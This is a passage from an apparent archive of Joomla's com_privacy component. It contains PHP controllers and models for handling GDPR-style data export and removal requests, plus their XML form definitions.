		// Check for request forgeries.
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		/** @var PrivacyModelRequest $model */
		$model = $this->getModel();

		/** @var PrivacyTableRequest $table */
		$table = $model->getTable();

		// Determine the name of the primary key for the data.
		if (empty($key))
		{
			$key = $table->getKeyName();
		}

		// To avoid data collisions the urlVar may be different from the primary key.
		if (empty($urlVar))
		{
			$urlVar = $key;
		}

		$recordId = $this->input->getInt($urlVar);

		$item = $model->getItem($recordId);

		// Ensure this record can transition to the requested state
		if (!$this->canTransition($item, '2'))
		{
			$this->setError(\JText::_('COM_PRIVACY_ERROR_COMPLETE_TRANSITION_NOT_PERMITTED'));
			$this->setMessage($this->getError(), 'error');

			$this->setRedirect(
				\JRoute::_(
					'index.php?option=com_privacy&view=request&id=' . $recordId, false
				)
			);

			return false;
		}

		// Build the data array for the update
		$data = array(
			$key     => $recordId,
			'status' => '2',
		);

		// Access check.
		if (!$this->allowSave($data, $key))
		{
			$this->setError(\JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'));
			$this->setMessage($this->getError(), 'error');

			$this->setRedirect(
				\JRoute::_(
					'index.php?option=com_privacy&view=request&id=' . $recordId, false
				)
			);

			return false;
		}

		// Attempt to save the data.
		if (!$model->save($data))
		{
			// Redirect back to the edit screen.
			$this->setError(\JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()));
			$this->setMessage($this->getError(), 'error');

			$this->setRedirect(
				\JRoute::_(
					'index.php?option=com_privacy&view=request&id=' . $recordId, false
				)
			);

			return false;
		}

		// Log the request completed
		$model->logRequestCompleted($recordId);

		$this->setMessage(\JText::_('COM_PRIVACY_REQUEST_COMPLETED'));

		$url = 'index.php?option=com_privacy&view=requests';

		// Check if there is a return value
		$return = $this->input->get('return', null, 'base64');

		if (!is_null($return) && \JUri::isInternal(base64_decode($return)))
		{
			$url = base64_decode($return);
		}

		// Redirect to the list screen.
		$this->setRedirect(\JRoute::_($url, false));

		return true;
	}

	/**
	 * Method to email the data export for a request.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function emailexport()
	{
		// Check for request forgeries.
		$this->checkToken('get');

		/** @var PrivacyModelExport $model */
		$model = $this->getModel('Export');

		$recordId = $this->input->getUint('id');

		if (!$model->emailDataExport($recordId))
		{
			// Redirect back to the edit screen.
			$this->setError(\JText::sprintf('COM_PRIVACY_ERROR_EXPORT_EMAIL_FAILED', $model->getError()));
			$this->setMessage($this->getError(), 'error');
		}
		else
		{
			$this->setMessage(\JText::_('COM_PRIVACY_EXPORT_EMAILED'));
		}

		$url = 'index.php?option=com_privacy&view=requests';

		// Check if there is a return value
		$return = $this->input->get('return', null, 'base64');

		if (!is_null($return) && \JUri::isInternal(base64_decode($return)))
		{
			$url = base64_decode($return);
		}

		// Redirect to the list screen.
		$this->setRedirect(\JRoute::_($url, false));

		return true;
	}

	/**
	 * Method to invalidate a request.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function invalidate($key = null, $urlVar = null)
	{
		// Check for request forgeries.
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		/** @var PrivacyModelRequest $model */
		$model = $this->getModel();

		/** @var PrivacyTableRequest $table */
		$table = $model->getTable();

		// Determine the name of the primary key for the data.
		if (empty($key))
		{
			$key = $table->getKeyName();
		}

		// To avoid data collisions the urlVar may be different from the primary key.
		if (empty($urlVar))
		{
			$urlVar = $key;
		}

		$recordId = $this->input->getInt($urlVar);

		$item = $model->getItem($recordId);

		// Ensure this record can transition to the requested state
		if (!$this->canTransition($item, '-1'))
		{
			$this->setError(\JText::_('COM_PRIVACY_ERROR_INVALID_TRANSITION_NOT_PERMITTED'));
			$this->setMessage($this->getError(), 'error');

			$this->setRedirect(
				\JRoute::_(
					'index.php?option=com_privacy&view=request&id=' . $recordId, false
				)
			);

			return false;
		}

		// Build the data array for the update
		$data = array(
			$key     => $recordId,
			'status' => '-1',
		);

		// Access check.
		if (!$this->allowSave($data, $key))
		{
			$this->setError(\JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'));
			$this->setMessage($this->getError(), 'error');

			$this->setRedirect(
				\JRoute::_(
					'index.php?option=com_privacy&view=request&id=' . $recordId, false
				)
			);

			return false;
		}

		// Attempt to save the data.
		if (!$model->save($data))
		{
			// Redirect back to the edit screen.
			$this->setError(\JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()));
			$this->setMessage($this->getError(), 'error');

			$this->setRedirect(
				\JRoute::_(
					'index.php?option=com_privacy&view=request&id=' . $recordId, false
				)
			);

			return false;
		}

		// Log the request invalidated
		$model->logRequestInvalidated($recordId);

		$this->setMessage(\JText::_('COM_PRIVACY_REQUEST_INVALIDATED'));

		$url = 'index.php?option=com_privacy&view=requests';

		// Check if there is a return value
		$return = $this->input->get('return', null, 'base64');

		if (!is_null($return) && \JUri::isInternal(base64_decode($return)))
		{
			$url = base64_decode($return);
		}

		// Redirect to the list screen.
		$this->setRedirect(\JRoute::_($url, false));

		return true;
	}

	/**
	 * Method to remove the user data for a privacy remove request.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function remove()
	{
		// Check for request forgeries.
		$this->checkToken('request');

		/** @var PrivacyModelRemove $model */
		$model = $this->getModel('Remove');

		$recordId = $this->input->getUint('id');

		if (!$model->removeDataForRequest($recordId))
		{
			// Redirect back to the edit screen.
			$this->setError(\JText::sprintf('COM_PRIVACY_ERROR_REMOVE_DATA_FAILED', $model->getError()));
			$this->setMessage($this->getError(), 'error');

			$this->setRedirect(
				\JRoute::_(
					'index.php?option=com_privacy&view=request&id=' . $recordId, false
				)
			);

			return false;
		}

		$this->setMessage(\JText::_('COM_PRIVACY_DATA_REMOVED'));

		$url = 'index.php?option=com_privacy&view=requests';

		// Check if there is a return value
		$return = $this->input->get('return', null, 'base64');

		if (!is_null($return) && \JUri::isInternal(base64_decode($return)))
		{
			$url = base64_decode($return);
		}

		// Redirect to the list screen.
		$this->setRedirect(\JRoute::_($url, false));

		return true;
	}

	/**
	 * Function that allows child controller access to model data after the data has been saved.
	 *
	 * @param   \JModelLegacy  $model      The data model object.
	 * @param   array          $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function postSaveHook(\JModelLegacy $model, $validData = array())
	{
		// This hook only processes new items
		if (!$model->getState($model->getName() . '.new', false))
		{
			return;
		}

		if (!$model->logRequestCreated($model->getState($model->getName() . '.id')))
		{
			if ($error = $model->getError())
			{
				JFactory::getApplication()->enqueueMessage($error, 'warning');
			}
		}

		if (!$model->notifyUserAdminCreatedRequest($model->getState($model->getName() . '.id')))
		{
			if ($error = $model->getError())
			{
				JFactory::getApplication()->enqueueMessage($error, 'warning');
			}
		}
		else
		{
			JFactory::getApplication()->enqueueMessage(JText::_('COM_PRIVACY_MSG_CONFIRM_EMAIL_SENT_TO_USER'));
		}
	}

	/**
	 * Method to determine if an item can transition to the specified status.
	 *
	 * @param   object  $item       The item being updated.
	 * @param   string  $newStatus  The new status of the item.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	private function canTransition($item, $newStatus)
	{
		switch ($item->status)
		{
			case '0':
				// A pending item can only move to invalid through this controller due to the requirement for a user to confirm the request
				return $newStatus === '-1';

			case '1':
				// A confirmed item can be marked completed or invalid
				return in_array($newStatus, array('-1', '2'), true);

			// An item which is already in an invalid or complete state cannot transition, likewise if we don't know the state don't change anything
			case '-1':
			case '2':
			default:
				return false;
		}
	}
}
com_privacy/privacy.php000060400000001112152453734450011250 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Only super user can access here
if (!JFactory::getUser()->authorise('core.admin'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Privacy');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_privacy/models/request.php000060400000030073152453734450012556 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;

/**
 * Request item model class.
 *
 * @since  3.9.0
 */
class PrivacyModelRequest extends JModelAdmin
{
	/**
	 * Clean the cache
	 *
	 * @param   string   $group     The cache group
	 * @param   integer  $clientId  The ID of the client
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function cleanCache($group = 'com_privacy', $clientId = 1)
	{
		parent::cleanCache('com_privacy', 1);
	}

	/**
	 * Method for getting the form from the model.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   3.9.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_privacy.request', 'request', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $name     The table name. Optional.
	 * @param   string  $prefix   The class prefix. Optional.
	 * @param   array   $options  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.9.0
	 * @throws  \Exception
	 */
	public function getTable($name = 'Request', $prefix = 'PrivacyTable', $options = array())
	{
		return parent::getTable($name, $prefix, $options);
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  array  The default data is an empty array.
	 *
	 * @since   3.9.0
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_privacy.edit.request.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		return $data;
	}

	/**
	 * Log the completion of a request to the action log system.
	 *
	 * @param   integer  $id  The ID of the request to process.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function logRequestCompleted($id)
	{
		/** @var PrivacyTableRequest $table */
		$table = $this->getTable();

		if (!$table->load($id))
		{
			$this->setError($table->getError());

			return false;
		}

		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

		$user = JFactory::getUser();

		$message = array(
			'action'       => 'request-completed',
			'requesttype'  => $table->request_type,
			'subjectemail' => $table->email,
			'id'           => $table->id,
			'itemlink'     => 'index.php?option=com_privacy&view=request&id=' . $table->id,
			'userid'       => $user->id,
			'username'     => $user->username,
			'accountlink'  => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);

		/** @var ActionlogsModelActionlog $model */
		$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'COM_PRIVACY_ACTION_LOG_ADMIN_COMPLETED_REQUEST', 'com_privacy.request', $user->id);

		return true;
	}

	/**
	 * Log the creation of a request to the action log system.
	 *
	 * @param   integer  $id  The ID of the request to process.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function logRequestCreated($id)
	{
		/** @var PrivacyTableRequest $table */
		$table = $this->getTable();

		if (!$table->load($id))
		{
			$this->setError($table->getError());

			return false;
		}

		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

		$user = JFactory::getUser();

		$message = array(
			'action'       => 'request-created',
			'requesttype'  => $table->request_type,
			'subjectemail' => $table->email,
			'id'           => $table->id,
			'itemlink'     => 'index.php?option=com_privacy&view=request&id=' . $table->id,
			'userid'       => $user->id,
			'username'     => $user->username,
			'accountlink'  => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);

		/** @var ActionlogsModelActionlog $model */
		$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'COM_PRIVACY_ACTION_LOG_ADMIN_CREATED_REQUEST', 'com_privacy.request', $user->id);

		return true;
	}

	/**
	 * Log the invalidation of a request to the action log system.
	 *
	 * @param   integer  $id  The ID of the request to process.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function logRequestInvalidated($id)
	{
		/** @var PrivacyTableRequest $table */
		$table = $this->getTable();

		if (!$table->load($id))
		{
			$this->setError($table->getError());

			return false;
		}

		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

		$user = JFactory::getUser();

		$message = array(
			'action'       => 'request-invalidated',
			'requesttype'  => $table->request_type,
			'subjectemail' => $table->email,
			'id'           => $table->id,
			'itemlink'     => 'index.php?option=com_privacy&view=request&id=' . $table->id,
			'userid'       => $user->id,
			'username'     => $user->username,
			'accountlink'  => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);

		/** @var ActionlogsModelActionlog $model */
		$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'COM_PRIVACY_ACTION_LOG_ADMIN_INVALIDATED_REQUEST', 'com_privacy.request', $user->id);

		return true;
	}

	/**
	 * Notifies the user that an information request has been created by a site administrator.
	 *
	 * Because confirmation tokens are stored in the database as a hashed value, this method will generate a new confirmation token
	 * for the request.
	 *
	 * @param   integer  $id  The ID of the request to process.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function notifyUserAdminCreatedRequest($id)
	{
		/** @var PrivacyTableRequest $table */
		$table = $this->getTable();

		if (!$table->load($id))
		{
			$this->setError($table->getError());

			return false;
		}

		/*
		 * If there is an associated user account, we will attempt to send this email in the user's preferred language.
		 * Because of this, it is expected that Language::_() is directly called and that the Text class is NOT used
		 * for translating all messages.
		 *
		 * Error messages will still be displayed to the administrator, so those messages should continue to use the Text class.
		 */

		$lang = JFactory::getLanguage();

		$db = $this->getDbo();

		$userId = (int) $db->setQuery(
			$db->getQuery(true)
				->select('id')
				->from($db->quoteName('#__users'))
				->where('LOWER(' . $db->quoteName('email') . ') = LOWER(' . $db->quote($table->email) . ')'),
			0,
			1
		)->loadResult();

		if ($userId)
		{
			$receiver = JUser::getInstance($userId);

			/*
			 * We don't know if the user has admin access, so we will check if they have an admin language in their parameters,
			 * falling back to the site language, falling back to the currently active language
			 */

			$langCode = $receiver->getParam('admin_language', '');

			if (!$langCode)
			{
				$langCode = $receiver->getParam('language', $lang->getTag());
			}

			$lang = JLanguage::getInstance($langCode, $lang->getDebug());
		}

		// Ensure the right language files have been loaded
		$lang->load('com_privacy', JPATH_ADMINISTRATOR, null, false, true)
			|| $lang->load('com_privacy', JPATH_ADMINISTRATOR . '/components/com_privacy', null, false, true);

		// Regenerate the confirmation token
		$token       = JApplicationHelper::getHash(JUserHelper::genRandomPassword());
		$hashedToken = JUserHelper::hashPassword($token);

		$table->confirm_token            = $hashedToken;
		$table->confirm_token_created_at = JFactory::getDate()->toSql();

		try
		{
			$table->store();
		}
		catch (JDatabaseException $exception)
		{
			$this->setError($exception->getMessage());

			return false;
		}

		// The mailer can be set to either throw Exceptions or return boolean false, account for both
		try
		{
			$app = JFactory::getApplication();

			$linkMode = $app->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

			$substitutions = array(
				'[SITENAME]' => $app->get('sitename'),
				'[URL]'      => JUri::root(),
				'[TOKENURL]' => JRoute::link('site', 'index.php?option=com_privacy&view=confirm&confirm_token=' . $token, false, $linkMode, true),
				'[FORMURL]'  => JRoute::link('site', 'index.php?option=com_privacy&view=confirm', false, $linkMode, true),
				'[TOKEN]'    => $token,
				'\\n'        => "\n",
			);

			switch ($table->request_type)
			{
				case 'export':
					$emailSubject = $lang->_('COM_PRIVACY_EMAIL_ADMIN_REQUEST_SUBJECT_EXPORT_REQUEST');
					$emailBody    = $lang->_('COM_PRIVACY_EMAIL_ADMIN_REQUEST_BODY_EXPORT_REQUEST');

					break;

				case 'remove':
					$emailSubject = $lang->_('COM_PRIVACY_EMAIL_ADMIN_REQUEST_SUBJECT_REMOVE_REQUEST');
					$emailBody    = $lang->_('COM_PRIVACY_EMAIL_ADMIN_REQUEST_BODY_REMOVE_REQUEST');

					break;

				default:
					$this->setError(JText::_('COM_PRIVACY_ERROR_UNKNOWN_REQUEST_TYPE'));

					return false;
			}

			foreach ($substitutions as $k => $v)
			{
				$emailSubject = str_replace($k, $v, $emailSubject);
				$emailBody    = str_replace($k, $v, $emailBody);
			}

			$mailer = JFactory::getMailer();
			$mailer->setSubject($emailSubject);
			$mailer->setBody($emailBody);
			$mailer->addRecipient($table->email);

			$mailResult = $mailer->Send();

			if ($mailResult instanceof JException)
			{
				// JError was already called so we just need to return now
				return false;
			}
			elseif ($mailResult === false)
			{
				$this->setError($mailer->ErrorInfo);

				return false;
			}

			return true;
		}
		catch (phpmailerException $exception)
		{
			$this->setError($exception->getMessage());

			return false;
		}
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success, False on error.
	 *
	 * @since   3.9.0
	 */
	public function save($data)
	{
		$table = $this->getTable();
		$key   = $table->getKeyName();
		$pk    = !empty($data[$key]) ? $data[$key] : (int) $this->getState($this->getName() . '.id');

		if (!$pk && !JFactory::getConfig()->get('mailonline', 1))
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_CANNOT_CREATE_REQUEST_WHEN_SENDMAIL_DISABLED'));

			return false;
		}

		return parent::save($data);
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.9.0
	 */
	public function validate($form, $data, $group = null)
	{
		$validatedData = parent::validate($form, $data, $group);

		// If parent validation failed there's no point in doing our extended validation
		if ($validatedData === false)
		{
			return false;
		}

		// Make sure the status is always 0
		$validatedData['status'] = 0;

		// The user cannot create a request for their own account
		if (strtolower(JFactory::getUser()->email) === strtolower($validatedData['email']))
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_CANNOT_CREATE_REQUEST_FOR_SELF'));

			return false;
		}

		// Check for an active request for this email address
		$db = $this->getDbo();

		$query = $db->getQuery(true)
			->select('COUNT(id)')
			->from('#__privacy_requests')
			->where('email = ' . $db->quote($validatedData['email']))
			->where('request_type = ' . $db->quote($validatedData['request_type']))
			->where('status IN (0, 1)');

		$activeRequestCount = (int) $db->setQuery($query)->loadResult();

		if ($activeRequestCount > 0)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_ACTIVE_REQUEST_FOR_EMAIL'));

			return false;
		}

		return $validatedData;
	}
}
com_privacy/models/forms/remind.xml000060400000001034152453734450013476 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="default" label="COM_PRIVACY_REMIND_REQUEST_FIELDSET_LABEL">
		<field
			name="email"
			type="text"
			label="JGLOBAL_EMAIL"
			description="COM_PRIVACY_FIELD_CONFIRM_EMAIL_DESC"
			validate="email"
			required="true"
			size="30"
		/>

		<field
			name="remind_token"
			type="text"
			label="COM_PRIVACY_FIELD_REMIND_CONFIRM_TOKEN_LABEL"
			description="COM_PRIVACY_FIELD_REMIND_CONFIRM_TOKEN_DESC"
			filter="alnum"
			required="true"
			size="32"
		/>
	</fieldset>
</form>
com_privacy/models/forms/request.xml000060400000002434152453734450013715 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_privacy/models/fields">
		<field
			name="email"
			type="email"
			label="JGLOBAL_EMAIL"
			description="COM_PRIVACY_USER_FIELD_EMAIL_DESC"
			required="true"
			size="30"
			validate="email"
		/>

		<field
			name="status"
			type="list"
			label="JSTATUS"
			description="COM_PRIVACY_FIELD_STATUS_DESC"
			filter="int"
			default="0"
			validate="options"
			readonly="true"
			>
			<option value="0">COM_PRIVACY_STATUS_PENDING</option>
			<option value="-1">COM_PRIVACY_STATUS_INVALID</option>
			<option value="1">COM_PRIVACY_STATUS_CONFIRMED</option>
			<option value="2">COM_PRIVACY_STATUS_COMPLETED</option>
		</field>

		<field
			name="request_type"
			type="list"
			label="COM_PRIVACY_FIELD_REQUEST_TYPE_LABEL"
			description="COM_PRIVACY_FIELD_REQUEST_TYPE_DESC"
			filter="string"
			default="export"
			validate="options"
			>
			<option value="export">COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_EXPORT</option>
			<option value="remove">COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_REMOVE</option>
		</field>

		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			class="readonly"
			default="0"
			readonly="true"
		/>

	</fieldset>
</form>
com_privacy/models/forms/confirm.xml000060400000000557152453734450013666 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="default" label="COM_PRIVACY_CONFIRM_REQUEST_FIELDSET_LABEL">
		<field
			name="confirm_token"
			type="text"
			label="COM_PRIVACY_FIELD_CONFIRM_CONFIRM_TOKEN_LABEL"
			description="COM_PRIVACY_FIELD_CONFIRM_CONFIRM_TOKEN_DESC"
			filter="alnum"
			required="true"
			size="32"
		/>
	</fieldset>
</form>
com_privacy/models/confirm.php000060400000013151152453734450012521 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Request confirmation model class.
 *
 * @since  3.9.0
 */
class PrivacyModelConfirm extends JModelAdmin
{
	/**
	 * Confirms the information request.
	 *
	 * @param   array  $data  The data expected for the form.
	 *
	 * @return  mixed  Exception | JException | boolean
	 *
	 * @since   3.9.0
	 */
	public function confirmRequest($data)
	{
		// Get the form.
		$form = $this->getForm();

		// Check for an error.
		if ($form instanceof Exception)
		{
			return $form;
		}

		// Filter and validate the form data.
		$data = $form->filter($data);
		$return = $form->validate($data);

		// Check for an error.
		if ($return instanceof Exception)
		{
			return $return;
		}

		// Check the validation results.
		if ($return === false)
		{
			// Get the validation messages from the form.
			foreach ($form->getErrors() as $formError)
			{
				$this->setError($formError->getMessage());
			}

			return false;
		}

		// Get the user email address
		$data['email'] = JFactory::getUser()->email;

		// Search for the information request
		/** @var PrivacyTableRequest $table */
		$table = $this->getTable();

		if (!$table->load(array('email' => $data['email'], 'status' => 0)))
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_NO_PENDING_REQUESTS'));

			return false;
		}

		// A request can only be confirmed if it is in a pending status and has a confirmation token
		if ($table->status != '0' || !$table->confirm_token)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_NO_PENDING_REQUESTS'));

			return false;
		}

		// A request can only be confirmed if the token is less than 24 hours old
		$confirmTokenCreatedAt = new JDate($table->confirm_token_created_at);
		$confirmTokenCreatedAt->add(new DateInterval('P1D'));

		$now = new JDate('now');

		if ($now > $confirmTokenCreatedAt)
		{
			// Invalidate the request
			$table->status = -1;
			$table->confirm_token = '';

			try
			{
				$table->store();
			}
			catch (JDatabaseException $exception)
			{
				// The error will be logged in the database API, we just need to catch it here to not let things fatal out
			}

			$this->setError(JText::_('COM_PRIVACY_ERROR_CONFIRM_TOKEN_EXPIRED'));

			return false;
		}

		// Verify the token
		if (!JUserHelper::verifyPassword($data['confirm_token'], $table->confirm_token))
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_NO_PENDING_REQUESTS'));

			return false;
		}

		// Everything is good to go, transition the request to confirmed
		$saved = $this->save(
			array(
				'id'     => $table->id,
				'status' => 1,
				'confirm_token' => '',
			)
		);

		if (!$saved)
		{
			// Error was set by the save method
			return false;
		}

		// Push a notification to the site's super users, deliberately ignoring if this process fails so the below message goes out
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/models', 'MessagesModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/tables');

		/** @var MessagesModelMessage $messageModel */
		$messageModel = JModelLegacy::getInstance('Message', 'MessagesModel');

		$messageModel->notifySuperUsers(
			JText::_('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CONFIRMED_REQUEST_SUBJECT'),
			JText::sprintf('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CONFIRMED_REQUEST_MESSAGE', $table->email)
		);

		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

		$message = array(
			'action'       => 'request-confirmed',
			'subjectemail' => $table->email,
			'id'           => $table->id,
			'itemlink'     => 'index.php?option=com_privacy&view=request&id=' . $table->id,
		);

		/** @var ActionlogsModelActionlog $model */
		$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'COM_PRIVACY_ACTION_LOG_CONFIRMED_REQUEST', 'com_privacy.request');

		return true;
	}

	/**
	 * Method for getting the form from the model.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   3.9.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_privacy.confirm', 'confirm', array('control' => 'jform'));

		if (empty($form))
		{
			return false;
		}

		$input = JFactory::getApplication()->input;

		if ($input->getMethod() === 'GET')
		{
			$form->setValue('confirm_token', '', $input->get->getAlnum('confirm_token'));
		}

		return $form;
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $name     The table name. Optional.
	 * @param   string  $prefix   The class prefix. Optional.
	 * @param   array   $options  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.9.0
	 * @throws  \Exception
	 */
	public function getTable($name = 'Request', $prefix = 'PrivacyTable', $options = array())
	{
		return parent::getTable($name, $prefix, $options);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function populateState()
	{
		// Get the application object.
		$params = JFactory::getApplication()->getParams('com_privacy');

		// Load the parameters.
		$this->setState('params', $params);
	}
}
com_privacy/models/remind.php000060400000010055152453734450012342 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Remind confirmation model class.
 *
 * @since  3.9.0
 */
class PrivacyModelRemind extends JModelAdmin
{
	/**
	 * Confirms the remind request.
	 *
	 * @param   array  $data  The data expected for the form.
	 *
	 * @return  mixed  Exception | JException | boolean
	 *
	 * @since   3.9.0
	 */
	public function remindRequest($data)
	{
		// Get the form.
		$form = $this->getForm();
		$data['email'] = JStringPunycode::emailToPunycode($data['email']);

		// Check for an error.
		if ($form instanceof Exception)
		{
			return $form;
		}

		// Filter and validate the form data.
		$data = $form->filter($data);
		$return = $form->validate($data);

		// Check for an error.
		if ($return instanceof Exception)
		{
			return $return;
		}

		// Check the validation results.
		if ($return === false)
		{
			// Get the validation messages from the form.
			foreach ($form->getErrors() as $formError)
			{
				$this->setError($formError->getMessage());
			}

			return false;
		}

		/** @var PrivacyTableConsent $table */
		$table = $this->getTable();

		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(array('r.id', 'r.user_id', 'r.token')));
		$query->from($db->quoteName('#__privacy_consents', 'r'));
		$query->join('LEFT', $db->quoteName('#__users', 'u') . ' ON u.id = r.user_id');
		$query->where($db->quoteName('u.email') . ' = ' . $db->quote($data['email']));
		$query->where($db->quoteName('r.remind') . ' = 1');
		$db->setQuery($query);

		try
		{
			$remind = $db->loadObject();
		}
		catch (RuntimeException $e)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_NO_PENDING_REMIND'));

			return false;
		}

		if (!$remind)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_NO_PENDING_REMIND'));

			return false;
		}

		// Verify the token
		if (!JUserHelper::verifyPassword($data['remind_token'], $remind->token))
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_NO_REMIND_REQUESTS'));

			return false;
		}

		// Everything is good to go, transition the request to extended
		$saved = $this->save(
			array(
				'id'      => $remind->id,
				'remind'  => 0,
				'token'   => '',
				'created' => JFactory::getDate()->toSql(),
			)
		);

		if (!$saved)
		{
			// Error was set by the save method
			return false;
		}

		return true;
	}

	/**
	 * Method for getting the form from the model.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   3.9.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_privacy.remind', 'remind', array('control' => 'jform'));

		if (empty($form))
		{
			return false;
		}

		$input = JFactory::getApplication()->input;

		if ($input->getMethod() === 'GET')
		{
			$form->setValue('remind_token', '', $input->get->getAlnum('remind_token'));
		}

		return $form;
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $name     The table name. Optional.
	 * @param   string  $prefix   The class prefix. Optional.
